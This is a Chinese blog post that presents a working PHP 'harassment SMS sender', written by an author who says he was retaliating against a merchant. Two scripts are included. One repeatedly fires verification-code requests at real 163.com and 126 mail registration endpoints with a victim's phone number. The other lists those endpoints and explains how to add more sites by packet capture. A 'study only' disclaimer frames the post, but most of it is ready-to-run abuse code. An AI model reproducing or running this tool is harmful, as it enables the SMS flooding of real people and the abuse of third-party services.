php 构造骚扰短信发送机(仅供学习与参考，请勿用于非法用途)

最近在某宝买东西得罪了某黑心商家。。然后他就疯狂的给我发骚扰短信，烦死了。。。

短信大概就是利用一些网站的手机验证码来实现的。。

所以再被他疯狂骚扰后决定自己动手反击。。

php主要用到了curl的函数库扩展，然后主要要做的还是去抓包分析网站注册码的各个请求，

下面就主要来一个小的demo来详细说一下。。效率谈不上，仅限于娱乐。

1.sms.php

　　注意cookie文件一定要用绝对路径。。在这纠结了好久。。

　　其他的curlopt参数自己去查手册吧

　　还有里面缺少一些状态判断，可以自己去做，懒得搞了。。他一般返回json格式，还是很清楚的，剩余几次，是否已经注册都有信息可以提取。curl_exec()的返回值里有数据

<?php
ini_set('max_execution_time',0);
if(!isset($argv[1])){
    print("argv error");
    die();
}
include_once("./webinfo.php");
$exps = array();
foreach ($webs as $key => $value) {
    $exps[] = new $value($argv[1]);
}
for($i=1;$i<=3;$i++){
    print("this is {$i} send
");
    foreach ($exps as $key => $value) {
        if(!file_exists($value->cookieJar)){
            $fp = fopen(dirname(__FILE__)."/".$value->cookieJar, "w+");
            fclose($fp);
            print("[+]create cookiefile {$value->cookieJar}
");
        }
        $ch = curl_init();
        curl_setopt($ch,CURLOPT_URL,$value->urlGetRawCookie);
        curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__)."/".$value->cookieJar);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_exec($ch);
        print("[+]get raw cookie ready
");
        curl_setopt($ch, CURLOPT_COOKIEFILE,dirname(__FILE__)."/".$value->cookieJar);
        if($value->urlCheckNum!=null){
            $checkUrl = $value->urlCheckNum;
            foreach ($checkUrl as $k => $v) {
                if($value->type=="post"){
                    curl_setopt($ch, CURLOPT_URL, $v[0]);
                    curl_setopt($ch, CURLOPT_POST, true);
                    curl_setopt($ch, CURLOPT_POSTFIELDS, $v[1]);
                }else{
                    curl_setopt($ch, CURLOPT_URL, $v);
                }
                curl_exec($ch);
                print("[+]check num ready
");
             } 
        }
        if($value->type=="post"){
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $value->paras);
        }
        curl_setopt($ch, CURLOPT_COOKIEFILE,dirname(__FILE__)."/".$value->cookieJar);
        curl_setopt($ch, CURLOPT_URL, $value->urlSendSMS);
        curl_exec($ch);
        print("[+]send sms ok 
 begin the next... 

");
    }
    if($i!=3){
        print("[--]we will begin the next send sms after 60s
");
        sleep(60);
    }
    
}

2.webinfo.php

<?php
    /*
     *本页面为网站信息数据
     *$webs数组存放所有的
     *$type为请求格式
     *
     *$urlGetRawCookie为原始登录网页网址，用来取得原始cookie并保存，
     *因为一般他们会把验证码信息存在session中，若没有登录，就对应了cookie中的JSESSIONID,与http协议机制相关
     *
     *$urlCheckNum为最终发送网址之前的一些网址，保存为数组格式，若为post型，则保存为二维数组，
     *最内层数组第一个元素为网址，第二个为post数据
     *
     *$urlSendSMS为最终发送网址，若为post型，post数据对应于$paras
     *
     *$cookieJar为cookie保存文件
     */
    $webs = array("info163","info126");
    class Info163{
        public $type = "post";
        public $paras = "";
        public $urlGetRawCookie = "http://reg.email.163.com/unireg/call.do?cmd=register.entrance&from=163mail";
        public $urlCheckNum = null;
        public $urlSendSMS = "http://reg.email.163.com/unireg/call.do?cmd=added.mobileverify.sendAcode";
        public $cookieJar = "cookie163.txt";
        public function info163($num){
            $this->paras = "mobile={$num}&uid={$num}@163.com&mark=mobile_start";
        }
        
    }
    class Info126{
        public $type = "get";
        public $urlGetRawCookie = "http://e.mail.163.com/mobilemail/home.do?from=163mail";
        public $urlCheckNum = null;
        public $urlSendSMS = "http://e.mail.163.com/mobilemail/getVerifyCode.do?rnd=0.031214307695158909";
        public $cookieJar = "cookie126.txt";
        public function info126($num){
            $this->urlCheckNum = array(
                "http://e.mail.163.com/mobilemail/service/jslog.do?mobile={$num}",
                "http://e.mail.163.com/mobilemail/checkMobileBinded.do?mobile={$num}&rnd=0.5488968987483531"
                );
        }
    }



?>

自己可以按照规则扩展webino里的数据，抓包可以用wireshark，不过http抓包个人感觉还是chrome自带的工具比较好用点

请勿用于非法用途，后果自负。